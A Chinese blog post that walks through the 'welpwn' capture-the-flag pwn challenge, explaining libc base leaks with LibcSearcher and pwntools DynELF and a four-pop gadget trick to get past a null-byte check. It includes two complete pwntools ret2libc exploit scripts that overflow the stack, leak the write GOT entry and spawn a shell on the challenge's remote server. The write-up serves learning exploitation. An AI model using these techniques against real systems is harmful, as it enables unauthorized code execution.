welpwn & libc表泄露问题

一、前置知识——libc表泄露

libc表是动态链接,我们可以通过把libc表的基址泄露出来从而调用libc的其他函数(一般都是泄露出system函数地址)
下面分为两种情况

1、出题人提供libc文件

我们可以用工具看一下程序用了哪个libc
0
我们直接在linux下用objdump命令查找libc符号偏移
0
或者ROPgadget工具
0

2、出题人不提供libc文件

我们可以用ldd命令查看程序使用的libc版本号,然后在网上查找并下载
或者我们也可以通过函数泄露libc基址
一般使用LibcSeacher库或pwntools自带的DynELF函数
LibcSearcher库这个方法,就是通过对比别人收集好的各版本的libc库而找到正确的libc版本的
这种方法使用简单,但有可能会出现找不到libc的情况
获取基址的方法如下
0
后者是直接找对方elf文件运行时libc的基址,使用比较复杂,但一般能解决所有的libc泄露问题
ps: 之前使用LibcSeacher库,所需要的libc版本都是要自己下载的,但现在所有的libc版本都被存在了云端, 不需要自己去下载
 

二、实战—-—welpwn

0
只开了NX保护,问题不大
IDA分析
无后门函数 system ,但存在字符串 sh
0
 
下面,注意到echo函数
0
s2函数明显是个栈溢出,那我们就可以利用漏洞 puts出 read或write函数运行时的真实地址,从而利用LibcSeacher库或pwntools自带的DynELF函数 得到libc表基址,进而得到system函数地址(这里不选alarm函数的原因是alarm函数从未被执行过,其got表所指地址并不是alarm的真实地址,python会报 No libc satisfies constraints.错误)
理论上来说,根据这些,我们就可以构造payload了

三、绕过 \x00 检测

echo函数中如果碰到 \x00就会停止读取,回想我们函数地址的写法,p64(xx_add) 很明显,多出的 \x00会终止s2数组的赋值
0
这里有一个思路
搜索 pop|ret链的时候有一条存在四个pop指令的链
0
0
我们可以把0x40089c溢出为echo函数的返回地址,这样再经过4轮pop后就回到了下一条指令的位置
这样我们就绕过了 \x00检测

四、构造payload

1、LibcSearcher库方法

第一种方法是使用LibcSearcher库构造payload
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
sh = remote('111.200.241.244', 59599)
elf = ELF('./welpwn')
write_got = elf.got['write']
puts_plt = elf.plt['puts']
pop_24 = 0x40089C
pop_rdi = 0x4008A3
sh.recvuntil('Welcome to RCTF\n')
main_addr = 0x4007CD
#pop_24 跳过 24 个字节
payload = b'a' * 0x18 + p64(pop_24) + p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(main_addr)

sh.send(payload)
sh.recvuntil(b'\x40')
#泄露 write 地址
write_addr = u64(sh.recv(6).ljust(8, b'\x00'))

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
#获取 / bin / sh 地址 ,没办法,手册上就这样写 str_bin_sh
binsh_addr = libc_base + libc.dump('str_bin_sh')
sh.recvuntil('\n')
payload = b'a' * 0x18 + p64(pop_24) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
sh.send(payload)
sh.interactive()
pwntools u64函数:
0
0
选择libc版本,拿到flag
0
这里libc版本已经被过滤出来,我们可以挨着试一试,看看到底是哪一个libc
0
 

2、pwntools自带DynELF函数方法

我自己实验的时候,是想通过puts函数泄露的,无奈,失败了,看网上大佬说,服务器上的printf与puts函数无法使用,只能用writes函数...

大佬的思路是利用了 _libc_csu_init函数中存在的 万能ROP链,好,记下了

 

 

 

from pwn import *
context.log_level = 'debug'
p = remote('111.200.241.244',55781)
elf = ELF('./welpwn')
p4pr = 0x40089C
p6pr_step1 = 0x40089A
p6pr_step2 = 0x400880
poprdi = 0x4008A3
main_func = 0x400630
write_got = elf.got['write']
read_got = elf.got['read']
def leak(addr):
p.recv()
rop = p64(p6pr_step1)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(addr)+p64(1)+p64(p6pr_step2)+b'x'*56+p64(main_func)
p.send((b'x'*24 + p64(p4pr) + rop).ljust(1024,b'X'))
data = p.recv(8)
return data
d = DynELF(leak, elf=ELF('./welpwn'))
system = d.lookup('system', 'libc')
log.info('system_addr got => ' + hex(system))
p.recv()
bss_addr = elf.bss()
rop = p64(p6pr_step1)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(bss_addr)+p64(0)+p64(p6pr_step2)+b'a'*56
rop += p64(poprdi) + p64(bss_addr) + p64(system)
p.send((b'x'*24 + p64(p4pr) + rop).ljust(1024,b'X'))
p.send('/bin/sh\x00')
p.interactive()

 

posted @ 2022-05-27 23:25  TLSN  阅读(631)  评论(0)    收藏  举报